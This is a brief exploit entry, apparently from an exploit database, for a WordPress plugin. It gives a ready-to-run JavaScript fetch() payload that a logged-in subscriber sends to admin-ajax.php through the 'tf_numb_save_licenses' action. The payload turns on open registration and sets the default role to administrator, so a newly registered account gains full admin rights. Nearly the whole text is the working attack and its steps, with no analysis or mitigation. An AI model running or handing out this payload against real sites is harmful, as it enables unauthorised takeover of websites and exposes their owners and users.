Share
## https://sploitus.com/exploit?id=WPEX-ID:C39473A7-47FC-4BCE-99AD-28D03F41E74E
Sign in as a subscriber and run the following code in the web console

fetch( 'admin-ajax.php', { method: 'POST', headers:{'Content-Type': 'application/x-www-form-urlencoded'}, body: 'action=tf_numb_save_licenses&data[addon_0][key]=users_can_register&data[addon_0][val]=1&data[addon_1][key]=default_role&data[addon_1][val]=administrator' } );

Log out and register an account which will be an administrator one